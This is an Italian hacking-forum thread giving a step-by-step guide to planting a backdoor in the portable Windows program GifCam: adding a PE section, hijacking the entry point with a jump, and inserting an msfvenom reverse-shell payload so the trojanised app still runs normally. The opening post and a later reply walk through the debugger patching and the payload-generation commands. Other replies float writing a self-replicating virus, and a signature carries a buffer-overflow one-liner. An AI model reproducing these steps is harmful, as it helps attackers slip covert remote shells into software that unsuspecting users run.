Guida Come inserire un backdoor dentro una applicazione

Stato
Discussione chiusa ad ulteriori risposte.
Я

Яǝʌǝɹsǝ

Ci sono diverse applicazioni che si possono utilizzare, senza installarle, del tipo Putty, Rufus, UNebootin e tutti i tool Sysinternals. in questa guida useremo GifCam come applicazione
i tools per fare(provare) i test sono i seguenti
1. LordPe (io sono pigro e prendo roba già pronta, ma chi pensa di essere bravo puo usare pefile come modulo python)
2. Immunity
3. qualsiasi hex editor
4. notepad

Quindi che cosa cerchiamo? Aree di null abbastanza grandi per ospitare non solo il nostro shellcode generato da Msfvenom, ma anche i comandi del'app che vengono sovrascritti. Queste zone sono noti come code caves. Si noti nella figura in basso come si dispone di una lunga porzione continua di nullbytes? Si tratterebbe di una code cave ideale

code-cave-1.png

in questo caso, non ero in grado di scrivere in questa vasta area e non mi importava per scoprire perché(solita pigrizia). Invece, si crea una nuova sezione con 1000 byte, che è più che sufficiente per ospitare tutto quello che serve. L'idea è prendere in consegna il flusso di esecuzione e portarlo direttamente a un indirizzo di vostra scelta. Dopo che il codice viene esecutato, ritorna allo stato originale del programma e inizia ad eseguire come se nulla fosse mai accaduto(per farci un'idea di quello che dovrebbe succedere)
Dopo aver aggiunto la nuova sezione di 1000 byte, vi è ora un totale di 11 sezioni per questa applicazione e ora siamo pronti a partire!
1000hexsection.png

aver aggiunto 1000 byte, avremo bisogno di aggiungere byte al file(a questo punto l'app non dovrebbe più funzionare, per la colpa del ridimensionamento del file)
error.png

L'aggiunta di bytes si fa con il hex editor, aggiungendo dei null alla fine del file. una volta aggiunti i bytes, l'applicazione torna a funzionare
adesso sarebbe ora di aprire notepad, per segnare i address che saltiamo. cosi si vede quello che viene cambiato e quello che rimane
Qundi passiamo alla nostra sezione appena aggiunta. Il primo salto ci porterà a l'indirizzo della nostra prima istruzione nella nostra sezione, che è 0075b000
immunity-1.png

che lo notiamo
Codice:
Stato originale:
00553558 > $ 55             PUSH EBP
00553559   . 8BEC           MOV EBP,ESP
0055355B   . 83C4 F0        ADD ESP,-10
0055355E   . 53             PUSH EBX
0055355F   . B8 50B15400    MOV EAX,GifCam.0054B150
00553564   . E8 3770EBFF    CALL GifCam.0040A5A0

Il primo salto:
0075B000   0000             ADD BYTE PTR DS:[EAX],AL
Ci sono diversi modi per ottenere la stessa cosa, ma manteniamo le cose semplici, modificando le istruzioni del punto di ingresso con un salto
overwrite.png


Notate qualcosa di diverso? Aggiorniamo le note e salviamo le modifiche

Codice:
Istruzioni sovrascritte:
00553558 > $ 55             PUSH EBP
00553559   . 8BEC           MOV EBP,ESP
0055355B   . 83C4 F0        ADD ESP,-10

Non sovrascritte:
0055355E   . 53             PUSH EBX
0055355F   . B8 50B15400    MOV EAX,GifCam.0054B150
00553564   . E8 3770EBFF    CALL GifCam.0040A5A0

Primo salto:
0075B000   0000             ADD BYTE PTR DS:[EAX],AL

Bisogna saltare a:
0055355E
moddedFile.png


Ecco! Il file e cambiato con le istruzioni modificate. Adesso se guardiamo il salto..
jmp.png


A questo punto, siamo in grado di eseguire tutto ciò che vogliamo. Usiamo la standard reverse shell generata con msfvenom
Codice:
$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.232.138 LPORT=1337 -f hex
Payload size: 324 bytes
fce8820000006089e531c0648b50308 --snipped because 324 bytes--
Come prima, si inseriscono i bytes e si salva nuovamente il file. Qui però arriva la parte interessante, dove sorgono due questioni. La prima e che il shell ferma l'esecuzione del programa. il colpevole e "WaitForSingleObject"

Codice:
DWORD WINAPI WaitForSingleObject(
  _In_ HANDLE hHandle,         // Non questo
  _In_ DWORD  dwMilliseconds   // X come valore viene spinto qui
);
Per riassumere,qualsiasi valore che viene passata qui che non è uno zero ... l'applicazione si blocca fino a quando non abbiamo finito quello che stiamo facendo, quindi l'aplicazione parte solo quando chiudamo la shell(bisogna guardare come msvenom passa valori a quella funzione) I comandi responsabili per il passaggio del valore sono

Codice:
4E               DEC ESI
56               PUSH ESI
46               INC ESI

Cambiando DEC ESI e INC ESI in NOPs, passa come "0" e ci lascia funzionare simultaneamente sia la shell, che l'appliccazione
la seconda questione e che msfvenom ha oltre le chiamate pushad, ha anche un paio di chiamate POPAD e popfd. quindi quando apre i propri valori "salvati", viene eseguito il codice tra quelle chiamate. Infine, emette un altro pushad e salva valori indesiderati e li riporta in seguito. Che rovina, ovviamente, i valori che stavo cercando di salvare. quindi impostiamo manualmente i nostri registri ai valori originali che abbiamo cercato di salvare. quindi con un po di matematica, usando SUB oppure ADD, si possono raggiungere i valori di cui abbiamo bisogno. quindi prima
registers.png


e dopo

registers2.png


Una volta inseriti i commandi sovrascritti, si salvano le modifiche(ancora!!) e si spera di ottenere una shell, e che l'applicazione funziona normalmente :)

P.S. so che non e una cosa facile. solo per chi ha tempo e sopratutto voglia
buon divertimento
 
  • Mi piace
Reazioni: ScriptMan e All3xJ
Il primo salto ci porterà a l'indirizzo della nostra prima istruzione
Ci sono diversi modi per ottenere la stessa cosa, ma manteniamo le cose semplici, modificando le istruzioni del punto di ingresso con un salto

Ciao Bob!
Sto seguendo la tua interessantissima guida, ma arrivato all'uso del debugger non ho compreso il da farsi. Quando parli di salti cosa intendi? Non ho mai usato un debugger e non ho capito cosa fare. Saresti molto gentile se potessi spiegarmi (quasi passo-passo :)) le operazioni da compiere una volta aperto il Gifcam modificato all'interno del debugger.
Grazie!
 
Cattura.JPG

passo a passo.. proprio no eh! se la prima volta, lascia perdere. studia come funzionano gli exe, i debugger e poi fai domande precise :p
 
Ahah immaginavo :):). Però non posso lasciare perdere. Mi metto a studiare gli exe e i debugger, poi vediamo. Se hai qualche indicazione utile (libri, video, blog) le accetto ben volentieri!
 
Salve a tutti,
da un po' di tempo sto cercando di applicare questa tecnica e, su consiglio del sempre disponibile Bob, ho studiato un po' il funzionamento dei file eseguibili (di windows in particolare). Le mie ricerche atte ad individuare "materiale" su cui studiare mi hanno portato ad un video che spiega bene:
1) il funzionamento degli eseguibili (di win, linux e mac);
2) la tecnica proposta in questo post;
3) altre informazioni utili sul funzionamento degli antivirus, etc.
Il video, trovato su youtube, è di un ragazzo italiano, che nei commenti allega un link alla sua tesi di laurea.
Nella tesi vengono ulteriormente spiegati i dettagli del "code injection" (ed altro) in termini comprensibili a chi voglia approcciare la tecnica.
Ritengo che sia utile pertanto allegare un link al video, in modo da consentire a tutti di trovare informazioni sui sopra elencati argomenti, così che, chi come me non è ferratissimo in materia, possano documentarsi (senza dover sempre stressare i sempre disponibili utenti di questo blog).
Il video è lunghetto (due ore circa, ma interessantissimo) la tesi nei commenti supera di poco le 70 pagine.
 
Ciao Bruce!
Concordo con te e ribadisco quanto sia interessante questa guida fatta da Bob/Reverse/prossimonick che userà l'autore!
Io è da tempo che sto provando ad applicare la tecnica e per ora sto ancora cercando di acquisire alcune conoscenze che stanno alla base del metodo. Qualche giorno fa ho segnalato un video che, personalmente, ho ritenuto valido per chiarire 1) il funzionamento degli eseguibili (di win, linux e mac) e degli antivirus.

Oggi ne approfitto per segnalare una serie di tutorial (in inglese) sul reverse enegineering (a partire dall'uso di un disassembler):
http://octopuslabs.io/legend/blog/sample-page.html

Bruce, se conosci qualche altra guida/tutorial/fonte varia che può aiutare gli utenti meno esperti (tipo me) ad usare la guida oggetto della discussione, ti prego di segnalarla!
 
ok assolutamente ma forse metterla qua "non va tanto bene" magari si un thread dedicato ... questo è per guida di bob ...

tutto bello però anche la tua guida sul tipo youtube [emoji106]
 
Il passo successivo potrebbe essere quello di scrivere un programma che si autoreplica all'interno degli eseguibili (un virus primitivo, insomma).
 
scrivere un programma che si autoreplica all'interno degli eseguibili
devi "pettinare" per bene l'eseguibile per riuscire una cosa del genere. sarebbe da scrivere un programa che prima crea lo spazio su cui aggiungere quello che dici te..
 
Per fare una cosa del genere Reverse scriverà di sicuro in nuova guida con suo thread dedicato!! Qui restiamo sul facile [emoji12][emoji12] Bruce prova a condividere quello che può aiutare chi vuole seguire la guida...se a Reverse non sta bene togliamo tutto...con che coraggio vado ad aprire io un nuovo thread senza essere riuscito ancora a completare l guida?[emoji12][emoji12]


Inviata da iPhone tramite app ufficiale di Inforge.net
 
tu indica dove ti blocchi
Non trovi l editor non lo sai usare...

da li si parte .. ma inizia le risorse trovate sono carine
 
tu indica dove ti blocchi
Non trovi l editor non lo sai usare...

da li si parte .. ma inizia le risorse trovate sono carine

Ciao Bruce!!
Innanzi tutto grazie per la tua disponibilità!! Approfitterò presto del tuo aiuto :) per ora sto continuando a "studiarmi" il Reverse engineering dal tutorial che ho postato sopra... appena passerò all'azione chiederò aiuto :) ciao e grazie a tutti! Siete mitici!


Inviata da iPhone tramite app ufficiale di Inforge.net
 
Allora ragazzi, sto provando ad applicare la guida.

- Usando PE EDITOR ho aggiunto una sezione a "Gifcam" di 1000 bytes di dimensione;
- Usando HEX EDITOR ho aggiunto dei null alla fine di "Gifcam" in modo che questo riparta.

A questo punto, se ho ben capito, con Immunity, dovrei impostare il JMP dall'entry point di Gifcam fino alla nuova sezione creata e piena di null.
Adesso però ho due domande:

1) Come faccio a salvare i JMP aggiunti? Appena chiudo "Immunity debugger" i cambiamenti non li salva e ritorna come prima.
2) Se apro in HEX editor il secondo programma (la backdoor da me creata e che voglio bindare a Gifcam) noto che il codice è lunghissimo. Vorrei sapere come fare per selezionarlo tutto il codice velocemente in modo da poterlo copiare e poi incollare, perchè non vedo una sorta di "seleziona tutto".
3) Ua volta copiato sto codice, dove lo devo incollare???? Devo riaprire in HEX EDITOR Gifcam e incollare il codice della backdoor al posto dei null aggiunti ??

Grazie per l'aiuto (e la pazienza)
 
io sono un po' incasinato per via del lavoro... cmq usa i forum no msg privati.
poi spiega meglio dove ti fermi non 1000 domande
ma dove arrivi e i tentativi che hai fatto per risolvere, chi legge può avere un quadro più chiaro per aiutarti ...
tieni conto però che tu tutto gira sul "volontariato" e che se qualcosa la risolvi da te avrai 1000 soddisfazioni in più...
ti devi divertire non stressare se sei sulla seconda opzione non va bene ...
tenacia e determinazione altrimenti ti fermi al primo buco...

--- \0/ ---
python -c print "A"*49 + 0xCb0x840x04x08 you win ;-)
 
Ultima modifica:
Ciao Bruce,
grazie per la risposta. Concordo su tutto quello che hai detto, dal forum ho imparato tanto, ed ogni cosa nuova da me scoperta l'ho postata.
Mi ha appassionato molto questa guida (se leggi i primi messaggi sono già di qualche mese fa), non mi stresso e non voglio stressare :), anzi, voglio riuscire a realizzala.

Tornando al mio problema, nello specifico sono fermo ad un punto:
Non riesco ad unire il codice della backdoor da me creata con quello di Gifcam.

Ho trovato molte guide che danno questo passaggio come per scontato, concentrandosi a spiegare tutta la serie di JMP da impostare nel debugger (tant'è che adesso come impostare il JMP l'ho capito!).
Ma io sono fermo là, un passo prima. Non riesco ad unire i due codici. Ho provato diverse cose, ma il problema è che quando apro nel debugger il Gifcam "modificato" con una sezione in più, non me la vede, come se non ci fosse altro che il codice originale di "Gifcam".

Se potessi dirmi come lo faresti tu, ti sarei grato!! :) ovviamente senza impegno...ciao!
 
Ultima modifica da un moderatore:
Non riesco ad unire i due codici
mi ha fatto riaprire il vaso di Pandora :oops:
carica l'exe su immunity e segnati gli entry points. fai hijack al punto di ingresso sovrascrivendo la terza istruzione con un reindirizzamento del tuo "backdoor". cerca l'indirizzo della sezione aggiunta nel eseguibile(premi "M" nella parte superiore di Immunity, per aprire la
memory map del programma per visualizzare il nome e l'indirizzo della sezione appena aggiunta)cosi fai il hijack del
punto di ingresso del programma, sovrascrivendo la terza istruzione con un'istruzione JMP per l'indirizzo della sezione aggiunta. dopo le modifiche, seleziona i cambiamenti fatti, click destra e scegli Copy to Executable, salvi e rinomini. apri questo nuovo file(sempre con immunity), premi F7 per vedere le istruzioni iniziali e fai un JMP al code cave.
Prima di iniziare a scrivere il shellcode, salva lo stato attuale dei registri e flags con PUSHAD e PUSHFD. (P.S. ti devi notare pure l'indirizzo del registro ESP, visto che lo devi riallineare al registro, dopo inserito la tua backdoor)
se vuoi copiare la tua backdoor direttamente al debugger, creala in formato esadecimale. cosi fai solo copia/incolla. basta che selezioni un numero elevato di istruzioni NOP, cosi tutta la shellcode viene incollata correttamente. selezioni tutti i cambiamenti, salvi in un exe, salvi e rinomini.
quando ti blocchi su una cosa, inventa. impara bene come usare i tools sopra, poi impara bene che si può fare con msfpayload. sopra ti ho dato
Codice:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.232.138 LPORT=1337 -f hex
ma se sapevi usarlo bene, magari arrivavi al
Codice:
msfpayload windows/shell_reverse_tcp LHOST=192.168.232.138 LPORT=1337 EXITFUNC=seh R | hexdump -C | sed ‘$d’ | cut -d’ ‘ -f3-19 | tr -d ‘ ‘ | tr -d ‘\n’
come detto sopra, divertiti. non farlo diventare un'ossessione :evvai:
 
Stato
Discussione chiusa ad ulteriori risposte.